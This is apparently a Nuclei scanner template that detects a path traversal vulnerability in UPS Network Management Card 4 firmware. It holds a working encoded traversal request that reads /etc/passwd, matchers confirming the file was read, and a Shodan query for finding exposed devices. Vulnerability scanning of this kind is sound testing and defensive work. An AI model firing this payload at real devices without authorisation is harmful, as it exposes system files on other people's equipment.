id: ups-network-lfi

info:
  name: UPS Network Management Card 4 Path Traversal
  author: Kazgangap
  severity: high
  description: |
    UPS Network Management Card version 4 suffers from a path traversal vulnerability.
  reference:
    - https://packetstormsecurity.com/files/177626/upsnmc4-traversal.txt
    - https://www.exploit-db.com/exploits/51897
  classification:
    cpe: cpe:2.3:o:riello-ups:netman_204_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: riello-ups
    product: netman_204_firmware
    shodan-query: html:"UPS Network Management Card 4"
  tags: packetstorm,ups,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: status
        status:
          - 200
# digest: 490a00463044022065e5c5660dceb47d53e55b8cb93aff9f6552de70f4bd0a5660cd03b40ffc1b6d022038cc90bf0703708c5ce4bd4d423395fef2e803fda4d4f24981e52052b1e223c6:922c64590222798bb761d5b6d8e72950